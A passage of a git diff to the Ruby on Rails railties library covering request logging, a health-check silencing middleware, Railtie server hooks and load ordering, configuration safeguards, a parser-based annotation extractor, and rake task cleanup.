         def compute_tags(request) # :doc:
@@ -65,14 +74,15 @@ def compute_tags(request) # :doc:
           end
         end
 
-        def finish(request)
-          instrumenter = ActiveSupport::Notifications.instrumenter
-          instrumenter.finish "request.action_dispatch", request: request
-        end
-
         def logger
           Rails.logger
         end
+
+        def finish_request_instrumentation(handle, logger_tag_pop_count)
+          handle.finish
+          logger.pop_tags(logger_tag_pop_count) if logger.respond_to?(:pop_tags) && logger_tag_pop_count > 0
+          ActiveSupport::LogSubscriber.flush_all!
+        end
     end
   end
 end
diff --git a/railties/lib/rails/rack/silence_request.rb b/railties/lib/rails/rack/silence_request.rb
new file mode 100644
index 0000000000000..bcd3809d5e78e
--- /dev/null
+++ b/railties/lib/rails/rack/silence_request.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/logger_silence"
+
+module Rails
+  module Rack
+    # Allows you to silence requests made to a specific path.
+    # This is useful for preventing recurring requests like health checks from clogging the logging.
+    # This middleware is used to do just that against the path /up in production by default.
+    #
+    # Examples:
+    #
+    #   config.middleware.insert_before \
+    #     Rails::Rack::Logger, Rails::Rack::SilenceRequest, path: "/up"
+    #
+    #   config.middleware.insert_before \
+    #     Rails::Rack::Logger, Rails::Rack::SilenceRequest, path: /test$/
+    #
+    # This middleware can also be configured using `config.silence_healthcheck_path = "/up"` in Rails.
+    class SilenceRequest
+      def initialize(app, path:)
+        @app, @path = app, path
+      end
+
+      def call(env)
+        if @path === env["PATH_INFO"]
+          Rails.logger.silence { @app.call(env) }
+        else
+          @app.call(env)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/rackup/server.rb b/railties/lib/rails/rackup/server.rb
new file mode 100644
index 0000000000000..8790b19bc024e
--- /dev/null
+++ b/railties/lib/rails/rackup/server.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
+module Rails
+  module Rackup
+    begin
+      require "rackup/server"
+      Server = ::Rackup::Server
+    rescue LoadError
+      require "rack/server"
+      Server = ::Rack::Server
+    end
+  end
+end
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 474118c0a911e..de581547bae0c 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -1,37 +1,39 @@
+# frozen_string_literal: true
+
 require "rails/initializable"
+require "active_support/descendants_tracker"
 require "active_support/inflector"
 require "active_support/core_ext/module/introspection"
-require "active_support/core_ext/module/delegation"
 
 module Rails
-  # <tt>Rails::Railtie</tt> is the core of the Rails framework and provides
-  # several hooks to extend Rails and/or modify the initialization process.
+  # +Rails::Railtie+ is the core of the \Rails framework and provides
+  # several hooks to extend \Rails and/or modify the initialization process.
   #
-  # Every major component of Rails (Action Mailer, Action Controller, Active
+  # Every major component of \Rails (Action Mailer, Action Controller, Active
   # Record, etc.) implements a railtie. Each of them is responsible for their
-  # own initialization. This makes Rails itself absent of any component hooks,
-  # allowing other components to be used in place of any of the Rails defaults.
+  # own initialization. This makes \Rails itself absent of any component hooks,
+  # allowing other components to be used in place of any of the \Rails defaults.
   #
-  # Developing a Rails extension does _not_ require implementing a railtie, but
-  # if you need to interact with the Rails framework during or after boot, then
+  # Developing a \Rails extension does _not_ require implementing a railtie, but
+  # if you need to interact with the \Rails framework during or after boot, then
   # a railtie is needed.
   #
   # For example, an extension doing any of the following would need a railtie:
   #
   # * creating initializers
-  # * configuring a Rails framework for the application, like setting a generator
+  # * configuring a \Rails framework for the application, like setting a generator
   # * adding <tt>config.*</tt> keys to the environment
-  # * setting up a subscriber with <tt>ActiveSupport::Notifications</tt>
+  # * setting up a subscriber with ActiveSupport::Notifications
   # * adding Rake tasks
   #
   # == Creating a Railtie
   #
-  # To extend Rails using a railtie, create a subclass of <tt>Rails::Railtie</tt>.
-  # This class must be loaded during the Rails boot process, and is conventionally
-  # called <tt>MyNamespace::Railtie</tt>.
+  # To extend \Rails using a railtie, create a subclass of +Rails::Railtie+.
+  # This class must be loaded during the \Rails boot process, and is conventionally
+  # called +MyNamespace::Railtie+.
   #
   # The following example demonstrates an extension which can be used with or
-  # without Rails.
+  # without \Rails.
   #
   #   # lib/my_gem/railtie.rb
   #   module MyGem
@@ -40,15 +42,15 @@ module Rails
   #   end
   #
   #   # lib/my_gem.rb
-  #   require 'my_gem/railtie' if defined?(Rails)
+  #   require "my_gem/railtie" if defined?(Rails::Railtie)
   #
   # == Initializers
   #
-  # To add an initialization step to the Rails boot process from your railtie, just
+  # To add an initialization step to the \Rails boot process from your railtie, just
   # define the initialization code with the +initializer+ macro:
   #
-  #   class MyRailtie < Rails::Railtie
-  #     initializer "my_railtie.configure_rails_initialization" do
+  #   class MyGem::Railtie < Rails::Railtie
+  #     initializer "my_gem.configure_rails_initialization" do
   #       # some initialization behavior
   #     end
   #   end
@@ -56,9 +58,9 @@ module Rails
   # If specified, the block can also receive the application object, in case you
   # need to access some application-specific configuration, like middleware:
   #
-  #   class MyRailtie < Rails::Railtie
-  #     initializer "my_railtie.configure_rails_initialization" do |app|
-  #       app.middleware.use MyRailtie::Middleware
+  #   class MyGem::Railtie < Rails::Railtie
+  #     initializer "my_gem.configure_rails_initialization" do |app|
+  #       app.middleware.use MyGem::Middleware
   #     end
   #   end
   #
@@ -71,48 +73,69 @@ module Rails
   # Railties can access a config object which contains configuration shared by all
   # railties and the application:
   #
-  #   class MyRailtie < Rails::Railtie
+  #   class MyGem::Railtie < Rails::Railtie
   #     # Customize the ORM
-  #     config.app_generators.orm :my_railtie_orm
+  #     config.app_generators.orm :my_gem_orm
   #
   #     # Add a to_prepare block which is executed once in production
   #     # and before each request in development.
   #     config.to_prepare do
-  #       MyRailtie.setup!
+  #       MyGem.setup!
   #     end
   #   end
   #
   # == Loading Rake Tasks and Generators
   #
-  # If your railtie has Rake tasks, you can tell Rails to load them through the method
+  # If your railtie has Rake tasks, you can tell \Rails to load them through the method
   # +rake_tasks+:
   #
-  #   class MyRailtie < Rails::Railtie
+  #   class MyGem::Railtie < Rails::Railtie
   #     rake_tasks do
-  #       load 'path/to/my_railtie.tasks'
+  #       load "path/to/my_gem.tasks"
   #     end
   #   end
   #
-  # By default, Rails loads generators from your load path. However, if you want to place
+  # By default, \Rails loads generators from your load path. However, if you want to place
   # your generators at a different location, you can specify in your railtie a block which
   # will load them during normal generators lookup:
   #
-  #   class MyRailtie < Rails::Railtie
+  #   class MyGem::Railtie < Rails::Railtie
   #     generators do
-  #       require 'path/to/my_railtie_generator'
+  #       require "path/to/my_gem_generator"
+  #     end
+  #   end
+  #
+  # Since filenames on the load path are shared across gems, be sure that files you load
+  # through a railtie have unique names.
+  #
+  # == Run another program when the \Rails server starts
+  #
+  # In development, it's very usual to have to run another process next to the \Rails Server. In example
+  # you might want to start the Webpack or React server. Or maybe you need to run your job scheduler process
+  # like Sidekiq. This is usually done by opening a new shell and running the program from here.
+  #
+  # \Rails allow you to specify a +server+ block which will get called when a \Rails server starts.
+  # This way, your users don't need to remember to have to open a new shell and run another program, making
+  # this less confusing for everyone.
+  # It can be used like this:
+  #
+  #   class MyGem::Railtie < Rails::Railtie
+  #     server do
+  #       WebpackServer.start
   #     end
   #   end
   #
   # == Application and Engine
   #
   # An engine is nothing more than a railtie with some initializers already set. And since
-  # <tt>Rails::Application</tt> is an engine, the same configuration described here can be
+  # Rails::Application is an engine, the same configuration described here can be
   # used in both.
   #
   # Be sure to look at the documentation of those specific classes for more information.
   class Railtie
     autoload :Configuration, "rails/railtie/configuration"
 
+    extend ActiveSupport::DescendantsTracker
     include Initializable
 
     ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Engine Rails::Application)
@@ -122,13 +145,7 @@ class << self
       delegate :config, to: :instance
 
       def subclasses
-        @subclasses ||= []
-      end
-
-      def inherited(base)
-        unless base.abstract_railtie?
-          subclasses << base
-        end
+        super.reject(&:abstract_railtie?).sort
       end
 
       def rake_tasks(&blk)
@@ -147,6 +164,10 @@ def generators(&blk)
         register_block_for(:generators, &blk)
       end
 
+      def server(&blk)
+        register_block_for(:server, &blk)
+      end
+
       def abstract_railtie?
         ABSTRACT_RAILTIES.include?(name)
       end
@@ -162,10 +183,6 @@ def instance
         @instance ||= new
       end
 
-      def respond_to_missing?(*args)
-        instance.respond_to?(*args) || super
-      end
-
       # Allows you to configure the railtie. This is the same method seen in
       # Railtie::Configurable, but this module is no longer required for all
       # subclasses of Railtie so we provide the class method here.
@@ -173,16 +190,39 @@ def configure(&block)
         instance.configure(&block)
       end
 
+      def <=>(other) # :nodoc:
+        load_index <=> other.load_index
+      end
+
+      def inherited(subclass)
+        subclass.increment_load_index
+        super
+      end
+
+      protected
+        attr_reader :load_index
+
+        def increment_load_index
+          @@load_counter ||= 0
+          @load_index = (@@load_counter += 1)
+        end
+
       private
         def generate_railtie_name(string)
           ActiveSupport::Inflector.underscore(string).tr("/", "_")
         end
 
+        def respond_to_missing?(name, _)
+          return super if abstract_railtie?
+
+          instance.respond_to?(name) || super
+        end
+
         # If the class method does not have a method, then send the method call
         # to the Railtie instance.
-        def method_missing(name, *args, &block)
-          if instance.respond_to?(name)
-            instance.public_send(name, *args, &block)
+        def method_missing(name, ...)
+          if !abstract_railtie? && instance.respond_to?(name)
+            instance.public_send(name, ...)
           else
             super
           end
@@ -201,13 +241,17 @@ def register_block_for(type, &blk)
 
     delegate :railtie_name, to: :class
 
-    def initialize #:nodoc:
+    def initialize # :nodoc:
       if self.class.abstract_railtie?
         raise "#{self.class.name} is abstract, you cannot instantiate it directly."
       end
     end
 
-    def configure(&block) #:nodoc:
+    def inspect # :nodoc:
+      "#<#{self.class.name}>"
+    end
+
+    def configure(&block) # :nodoc:
       instance_eval(&block)
     end
 
@@ -218,31 +262,33 @@ def config
       @config ||= Railtie::Configuration.new
     end
 
-    def railtie_namespace #:nodoc:
-      @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) }
+    def railtie_namespace # :nodoc:
+      @railtie_namespace ||= self.class.module_parents.detect { |n| n.respond_to?(:railtie_namespace) }
     end
 
     protected
-
-      def run_console_blocks(app) #:nodoc:
+      def run_console_blocks(app) # :nodoc:
         each_registered_block(:console) { |block| block.call(app) }
       end
 
-      def run_generators_blocks(app) #:nodoc:
+      def run_generators_blocks(app) # :nodoc:
         each_registered_block(:generators) { |block| block.call(app) }
       end
 
-      def run_runner_blocks(app) #:nodoc:
+      def run_runner_blocks(app) # :nodoc:
         each_registered_block(:runner) { |block| block.call(app) }
       end
 
-      def run_tasks_blocks(app) #:nodoc:
+      def run_tasks_blocks(app) # :nodoc:
         extend Rake::DSL
         each_registered_block(:rake_tasks) { |block| instance_exec(app, &block) }
       end
 
-    private
+      def run_server_blocks(app) # :nodoc:
+        each_registered_block(:server) { |block| block.call(app) }
+      end
 
+    private
       # run `&block` in every registered block in `#register_block_for`
       def each_registered_block(type, &block)
         klass = self.class
diff --git a/railties/lib/rails/railtie/configurable.rb b/railties/lib/rails/railtie/configurable.rb
index 2a8295426ee2d..9fef8f37728e9 100644
--- a/railties/lib/rails/railtie/configurable.rb
+++ b/railties/lib/rails/railtie/configurable.rb
@@ -1,4 +1,5 @@
-require "active_support/concern"
+# frozen_string_literal: true
+
 
 module Rails
   class Railtie
@@ -25,9 +26,8 @@ def configure(&block)
         end
 
         private
-
-          def method_missing(*args, &block)
-            instance.send(*args, &block)
+          def method_missing(...)
+            instance.send(...)
           end
       end
     end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
index aecc81c491d4c..788d2fee40a4c 100644
--- a/railties/lib/rails/railtie/configuration.rb
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/configuration"
 
 module Rails
@@ -8,7 +10,7 @@ def initialize
       end
 
       # Expose the eager_load_namespaces at "module" level for convenience.
-      def self.eager_load_namespaces #:nodoc:
+      def self.eager_load_namespaces # :nodoc:
         @@eager_load_namespaces ||= []
       end
 
@@ -53,7 +55,7 @@ def before_configuration(&block)
         ActiveSupport.on_load(:before_configuration, yield: true, &block)
       end
 
-      # Third configurable block to run. Does not run if +config.cache_classes+
+      # Third configurable block to run. Does not run if +config.eager_load+
       # set to false.
       def before_eager_load(&block)
         ActiveSupport.on_load(:before_eager_load, yield: true, &block)
@@ -69,6 +71,11 @@ def after_initialize(&block)
         ActiveSupport.on_load(:after_initialize, yield: true, &block)
       end
 
+      # Called after application routes have been loaded.
+      def after_routes_loaded(&block)
+        ActiveSupport.on_load(:after_routes_loaded, yield: true, &block)
+      end
+
       # Array of callbacks defined by #to_prepare.
       def to_prepare_blocks
         @@to_prepare_blocks ||= []
@@ -85,10 +92,17 @@ def respond_to?(name, include_private = false)
       end
 
     private
+      def actual_method?(key)
+        !@@options.key?(key) && respond_to?(key)
+      end
 
       def method_missing(name, *args, &blk)
-        if name.to_s =~ /=$/
-          @@options[$`.to_sym] = args.first
+        if name.end_with?("=")
+          key = name[0..-2].to_sym
+          if actual_method?(key)
+            raise NoMethodError.new("Cannot assign to `#{key}`, it is a configuration method")
+          end
+          @@options[key] = args.first
         elsif @@options.key?(name)
           @@options[name]
         else
diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb
deleted file mode 100644
index b212835df79cc..0000000000000
--- a/railties/lib/rails/ruby_version_check.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-if RUBY_VERSION < "2.2.2" && RUBY_ENGINE == "ruby"
-  desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
-  abort <<-end_message
-
-    Rails 5 requires Ruby 2.2.2 or newer.
-
-    You're running
-      #{desc}
-
-    Please upgrade to Ruby 2.2.2 or newer to continue.
-
-  end_message
-end
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
index e9088c44ce0d3..1962c55dc0d92 100644
--- a/railties/lib/rails/source_annotation_extractor.rb
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -1,139 +1,214 @@
-# Implements the logic behind the rake tasks for annotations like
-#
-#   rails notes
-#   rails notes:optimize
-#
-# and friends. See <tt>rails -T notes</tt> and <tt>railties/lib/rails/tasks/annotations.rake</tt>.
-#
-# Annotation objects are triplets <tt>:line</tt>, <tt>:tag</tt>, <tt>:text</tt> that
-# represent the line where the annotation lives, its tag, and its text. Note
-# the filename is not stored.
-#
-# Annotations are looked for in comments and modulus whitespace they have to
-# start with the tag optionally followed by a colon. Everything up to the end
-# of the line (or closing ERB comment tag) is considered to be their text.
-class SourceAnnotationExtractor
-  Annotation = Struct.new(:line, :tag, :text) do
-    def self.directories
-      @@directories ||= %w(app config db lib test) + (ENV["SOURCE_ANNOTATION_DIRECTORIES"] || "").split(",")
-    end
+# frozen_string_literal: true
+
+begin
+  require "prism"
+rescue LoadError
+  # If Prism isn't available (because of using an older Ruby version) then we'll
+  # define a fallback for the ParserExtractor using ripper.
+  require "ripper"
+end
 
-    # Registers additional directories to be included
-    #  SourceAnnotationExtractor::Annotation.register_directories("spec","another")
-    def self.register_directories(*dirs)
-      directories.push(*dirs)
-    end
+module Rails
+  # Implements the logic behind +Rails::Command::NotesCommand+. See <tt>rails notes --help</tt> for usage information.
+  #
+  # Annotation objects are triplets <tt>:line</tt>, <tt>:tag</tt>, <tt>:text</tt> that
+  # represent the line where the annotation lives, its tag, and its text. Note
+  # the filename is not stored.
+  #
+  # Annotations are looked for in comments and modulus whitespace they have to
+  # start with the tag optionally followed by a colon. Everything up to the end
+  # of the line (or closing ERB comment tag) is considered to be their text.
+  class SourceAnnotationExtractor
+    # Wraps a regular expression that will be tested against each of the source
+    # file's comments.
+    class ParserExtractor < Struct.new(:pattern)
+      if defined?(Prism)
+        def annotations(file)
+          result = Prism.parse_file(file)
+          return [] unless result.success?
+
+          result.comments.filter_map do |comment|
+            Annotation.new(comment.location.start_line, $1, $2) if comment.location.slice =~ pattern
+          end
+        end
+      else
+        class Parser < Ripper
+          attr_reader :comments, :pattern
+
+          def initialize(source, pattern:)
+            super(source)
+            @pattern = pattern
+            @comments = []
+          end
+
+          def on_comment(value)
+            @comments << Annotation.new(lineno, $1, $2) if value =~ pattern
+          end
+        end
 
-    def self.extensions
-      @@extensions ||= {}
+        def annotations(file)
+          contents = File.read(file, encoding: Encoding::BINARY)
+          parser = Parser.new(contents, pattern: pattern).tap(&:parse)
+          parser.error? ? [] : parser.comments
+        end
+      end
     end
 
-    # Registers new Annotations File Extensions
-    #   SourceAnnotationExtractor::Annotation.register_extensions("css", "scss", "sass", "less", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
-    def self.register_extensions(*exts, &block)
-      extensions[/\.(#{exts.join("|")})$/] = block
+    # Wraps a regular expression that will iterate through a file's lines and
+    # test each one for the given pattern.
+    class PatternExtractor < Struct.new(:pattern)
+      def annotations(file)
+        lineno = 0
+
+        File.readlines(file, encoding: Encoding::BINARY).inject([]) do |list, line|
+          lineno += 1
+          next list unless line =~ pattern
+          list << Annotation.new(lineno, $1, $2)
+        end
+      end
     end
 
-    register_extensions("builder", "rb", "rake", "yml", "yaml", "ruby") { |tag| /#\s*(#{tag}):?\s*(.*)$/ }
-    register_extensions("css", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
-    register_extensions("erb") { |tag| /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/ }
+    class Annotation < Struct.new(:line, :tag, :text)
+      def self.directories
+        @@directories ||= %w(app config db lib test)
+      end
 
-    # Returns a representation of the annotation that looks like this:
-    #
-    #   [126] [TODO] This algorithm is simple and clearly correct, make it faster.
-    #
-    # If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
-    # Otherwise the string contains just line and text.
-    def to_s(options = {})
-      s = "[#{line.to_s.rjust(options[:indent])}] "
-      s << "[#{tag}] " if options[:tag]
-      s << text
-    end
-  end
+      # Registers additional directories to be included
+      #   Rails::SourceAnnotationExtractor::Annotation.register_directories("spec", "another")
+      def self.register_directories(*dirs)
+        directories.push(*dirs)
+      end
 
-  # Prints all annotations with tag +tag+ under the root directories +app+,
-  # +config+, +db+, +lib+, and +test+ (recursively).
-  #
-  # Additional directories may be added using a comma-delimited list set using
-  # <tt>ENV['SOURCE_ANNOTATION_DIRECTORIES']</tt>.
-  #
-  # Directories may also be explicitly set using the <tt>:dirs</tt> key in +options+.
-  #
-  #   SourceAnnotationExtractor.enumerate 'TODO|FIXME', dirs: %w(app lib), tag: true
-  #
-  # If +options+ has a <tt>:tag</tt> flag, it will be passed to each annotation's +to_s+.
-  #
-  # See <tt>#find_in</tt> for a list of file extensions that will be taken into account.
-  #
-  # This class method is the single entry point for the rake tasks.
-  def self.enumerate(tag, options = {})
-    extractor = new(tag)
-    dirs = options.delete(:dirs) || Annotation.directories
-    extractor.display(extractor.find(dirs), options)
-  end
+      def self.tags
+        @@tags ||= %w(OPTIMIZE FIXME TODO)
+      end
 
-  attr_reader :tag
+      # Registers additional tags
+      #   Rails::SourceAnnotationExtractor::Annotation.register_tags("TESTME", "DEPRECATEME")
+      def self.register_tags(*additional_tags)
+        tags.push(*additional_tags)
+      end
 
-  def initialize(tag)
-    @tag = tag
-  end
+      def self.extensions
+        @@extensions ||= {}
+      end
 
-  # Returns a hash that maps filenames under +dirs+ (recursively) to arrays
-  # with their annotations.
-  def find(dirs)
-    dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
-  end
+      # Registers new Annotations File Extensions
+      #   Rails::SourceAnnotationExtractor::Annotation.register_extensions("css", "scss", "sass", "less", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+      def self.register_extensions(*exts, &block)
+        extensions[/\.(#{exts.join("|")})$/] = block
+      end
 
-  # Returns a hash that maps filenames under +dir+ (recursively) to arrays
-  # with their annotations. Only files with annotations are included. Files
-  # with extension +.builder+, +.rb+, +.rake+, +.yml+, +.yaml+, +.ruby+,
-  # +.css+, +.js+ and +.erb+ are taken into account.
-  def find_in(dir)
-    results = {}
+      register_extensions("builder", "rb", "rake", "ruby") do |tag|
+        ParserExtractor.new(/#\s*(#{tag}):?\s*(.*)$/)
+      end
 
-    Dir.glob("#{dir}/*") do |item|
-      next if File.basename(item)[0] == ?.
+      register_extensions("yml", "yaml") do |tag|
+        PatternExtractor.new(/#\s*(#{tag}):?\s*(.*)$/)
+      end
 
-      if File.directory?(item)
-        results.update(find_in(item))
-      else
-        extension = Annotation.extensions.detect do |regexp, _block|
-          regexp.match(item)
-        end
+      register_extensions("css", "js") do |tag|
+        PatternExtractor.new(/\/\/\s*(#{tag}):?\s*(.*)$/)
+      end
 
-        if extension
-          pattern = extension.last.call(tag)
-          results.update(extract_annotations_from(item, pattern)) if pattern
-        end
+      register_extensions("erb") do |tag|
+        PatternExtractor.new(/<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/)
+      end
+
+      # Returns a representation of the annotation that looks like this:
+      #
+      #   [126] [TODO] This algorithm is simple and clearly correct, make it faster.
+      #
+      # If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
+      # Otherwise the string contains just line and text.
+      def to_s(options = {})
+        s = +"[#{line.to_s.rjust(options[:indent])}] "
+        s << "[#{tag}] " if options[:tag]
+        s << text
       end
     end
 
-    results
-  end
+    # Prints all annotations with tag +tag+ under the root directories +app+,
+    # +config+, +db+, +lib+, and +test+ (recursively).
+    #
+    # If +tag+ is <tt>nil</tt>, annotations with either default or registered tags are printed.
+    #
+    # Specific directories can be explicitly set using the <tt>:dirs</tt> key in +options+.
+    #
+    #   Rails::SourceAnnotationExtractor.enumerate 'TODO|FIXME', dirs: %w(app lib), tag: true
+    #
+    # If +options+ has a <tt>:tag</tt> flag, it will be passed to each annotation's +to_s+.
+    #
+    # See SourceAnnotationExtractor#find_in for a list of file extensions that will be taken into account.
+    #
+    # This class method is the single entry point for the <tt>rails notes</tt> command.
+    def self.enumerate(tag = nil, options = {})
+      tag ||= Annotation.tags.join("|")
+      extractor = new(tag)
+      dirs = options.delete(:dirs) || Annotation.directories
+      extractor.display(extractor.find(dirs), options)
+    end
 
-  # If +file+ is the filename of a file that contains annotations this method returns
-  # a hash with a single entry that maps +file+ to an array of its annotations.
-  # Otherwise it returns an empty hash.
-  def extract_annotations_from(file, pattern)
-    lineno = 0
-    result = File.readlines(file, encoding: Encoding::BINARY).inject([]) do |list, line|
-      lineno += 1
-      next list unless line =~ pattern
-      list << Annotation.new(lineno, $1, $2)
+    attr_reader :tag
+
+    def initialize(tag)
+      @tag = tag
     end
-    result.empty? ? {} : { file => result }
-  end
 
-  # Prints the mapping from filenames to annotations in +results+ ordered by filename.
-  # The +options+ hash is passed to each annotation's +to_s+.
-  def display(results, options = {})
-    options[:indent] = results.flat_map { |f, a| a.map(&:line) }.max.to_s.size
-    results.keys.sort.each do |file|
-      puts "#{file}:"
-      results[file].each do |note|
-        puts "  * #{note.to_s(options)}"
+    # Returns a hash that maps filenames under +dirs+ (recursively) to arrays
+    # with their annotations.
+    def find(dirs)
+      dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
+    end
+
+    # Returns a hash that maps filenames under +dir+ (recursively) to arrays
+    # with their annotations. Files with extensions registered in
+    # <tt>Rails::SourceAnnotationExtractor::Annotation.extensions</tt> are
+    # taken into account. Only files with annotations are included.
+    def find_in(dir)
+      results = {}
+
+      Dir.glob("#{dir}/*") do |item|
+        next if File.basename(item).start_with?(".")
+
+        if File.directory?(item)
+          results.update(find_in(item))
+        else
+          extension = Annotation.extensions.detect do |regexp, _block|
+            regexp.match(item)
+          end
+
+          if extension
+            pattern = extension.last.call(tag)
+
+            # In case a user-defined pattern returns nothing for the given set
+            # of tags, we exit early.
+            next unless pattern
+
+            # If a user-defined pattern returns a regular expression, we will
+            # wrap it in a PatternExtractor to keep the same API.
+            pattern = PatternExtractor.new(pattern) if pattern.is_a?(Regexp)
+
+            annotations = pattern.annotations(item)
+            results.update(item => annotations) if annotations.any?
+          end
+        end
+      end
+
+      results
+    end
+
+    # Prints the mapping from filenames to annotations in +results+ ordered by filename.
+    # The +options+ hash is passed to each annotation's +to_s+.
+    def display(results, options = {})
+      options[:indent] = results.flat_map { |f, a| a.map(&:line) }.max.to_s.size
+      results.keys.sort.each do |file|
+        puts "#{file}:"
+        results[file].each do |note|
+          puts "  * #{note.to_s(options)}"
+        end
+        puts
       end
-      puts
     end
   end
 end
diff --git a/railties/lib/rails/structured_event_subscriber.rb b/railties/lib/rails/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..9b62ed6e6ea87
--- /dev/null
+++ b/railties/lib/rails/structured_event_subscriber.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "active_support/structured_event_subscriber"
+
+module Rails
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    def deprecation(event)
+      emit_event("rails.deprecation",
+        message: event.payload[:message],
+        callstack: event.payload[:callstack],
+        gem_name: event.payload[:gem_name],
+        deprecation_horizon: event.payload[:deprecation_horizon],
+      )
+    end
+  end
+end
+
+Rails::StructuredEventSubscriber.attach_to :rails
diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb
index c0a50e5bdafab..cc5666e1c0a28 100644
--- a/railties/lib/rails/tasks.rb
+++ b/railties/lib/rails/tasks.rb
@@ -1,20 +1,15 @@
+# frozen_string_literal: true
+
 require "rake"
 
 # Load Rails Rakefile extensions
 %w(
-  annotations
-  dev
   framework
-  initializers
   log
-  middleware
   misc
-  restart
-  routes
   tmp
   yarn
-).tap { |arr|
-  arr << "statistics" if Rake.application.current_scope.empty?
-}.each do |task|
+  zeitwerk
+).each do |task|
   load "rails/tasks/#{task}.rake"
 end
diff --git a/railties/lib/rails/tasks/annotations.rake b/railties/lib/rails/tasks/annotations.rake
deleted file mode 100644
index 9a69eb9934654..0000000000000
--- a/railties/lib/rails/tasks/annotations.rake
+++ /dev/null
@@ -1,20 +0,0 @@
-require "rails/source_annotation_extractor"
-
-desc "Enumerate all annotations (use notes:optimize, :fixme, :todo for focus)"
-task :notes do
-  SourceAnnotationExtractor.enumerate "OPTIMIZE|FIXME|TODO", tag: true
-end
-
-namespace :notes do
-  ["OPTIMIZE", "FIXME", "TODO"].each do |annotation|
-    # desc "Enumerate all #{annotation} annotations"
-    task annotation.downcase.intern do
-      SourceAnnotationExtractor.enumerate annotation
-    end
-  end
-
-  desc "Enumerate a custom annotation, specify with ANNOTATION=CUSTOM"
-  task :custom do
-    SourceAnnotationExtractor.enumerate ENV["ANNOTATION"]
-  end
-end
diff --git a/railties/lib/rails/tasks/dev.rake b/railties/lib/rails/tasks/dev.rake
deleted file mode 100644
index 334e968123dcf..0000000000000
--- a/railties/lib/rails/tasks/dev.rake
+++ /dev/null
@@ -1,8 +0,0 @@
-require "rails/dev_caching"
-
-namespace :dev do
-  desc "Toggle development mode caching on/off"
-  task :cache do
-    Rails::DevCaching.enable_by_file
-  end
-end
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
index c92b42f6c1cf6..364eadfaad8f7 100644
--- a/railties/lib/rails/tasks/engine.rake
+++ b/railties/lib/rails/tasks/engine.rake
@@ -1,11 +1,24 @@
+# frozen_string_literal: true
+
 task "load_app" do
   namespace :app do
     load APP_RAKEFILE
+
+    desc "Update some initially generated files"
+    task update: [ "update:bin" ]
+
+    namespace :update do
+      require "rails/engine/updater"
+      # desc "Adds new executables to the engine bin/ directory"
+      task :bin do
+        Rails::Engine::Updater.run(:create_bin_files)
+      end
+    end
   end
   task environment: "app:environment"
 
   if !defined?(ENGINE_ROOT) || !ENGINE_ROOT
-    ENGINE_ROOT = find_engine_path(APP_RAKEFILE)
+    ENGINE_ROOT = find_engine_path(Pathname.new(APP_RAKEFILE))
   end
 end
 
@@ -30,17 +43,17 @@ namespace :db do
   app_task "create"
   app_task "create:all"
 
-  desc "Drops the database for the current Rails.env (use db:drop:all to drop all databases)"
+  desc "Drop the database for the current Rails.env (use db:drop:all to drop all databases)"
   app_task "drop"
   app_task "drop:all"
 
   desc "Load fixtures into the current environment's database."
   app_task "fixtures:load"
 
-  desc "Rolls the schema back to the previous version (specify steps w/ STEP=n)."
+  desc "Roll the schema back to the previous version (specify steps w/ STEP=n)."
   app_task "rollback"
 
-  desc "Create a db/schema.rb file that can be portably used against any DB supported by Active Record"
+  desc "Create a database schema file (either db/schema.rb or db/structure.sql, depending on `config.active_record.schema_format`)"
   app_task "schema:dump"
 
   desc "Load a schema.rb file into the database"
@@ -49,23 +62,23 @@ namespace :db do
   desc "Load the seed data from db/seeds.rb"
   app_task "seed"
 
-  desc "Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)"
+  desc "Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the database first)"
   app_task "setup"
 
-  desc "Dump the database structure to an SQL file"
-  app_task "structure:dump"
-
-  desc "Retrieves the current schema version number"
+  desc "Retrieve the current schema version number"
   app_task "version"
+
+  # desc 'Load the test schema'
+  app_task "test:prepare"
 end
 
 def find_engine_path(path)
-  return File.expand_path(Dir.pwd) if path == "/"
+  return File.expand_path(Dir.pwd) if path.root?
 
   if Rails::Engine.find(path)
-    path
+    path.to_s
   else
-    find_engine_path(File.expand_path("..", path))
+    find_engine_path(path.join(".."))
   end
 end
 
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
index f5586b53f0c67..7585bb0ec253b 100644
--- a/railties/lib/rails/tasks/framework.rake
+++ b/railties/lib/rails/tasks/framework.rake
@@ -1,26 +1,23 @@
-namespace :app do
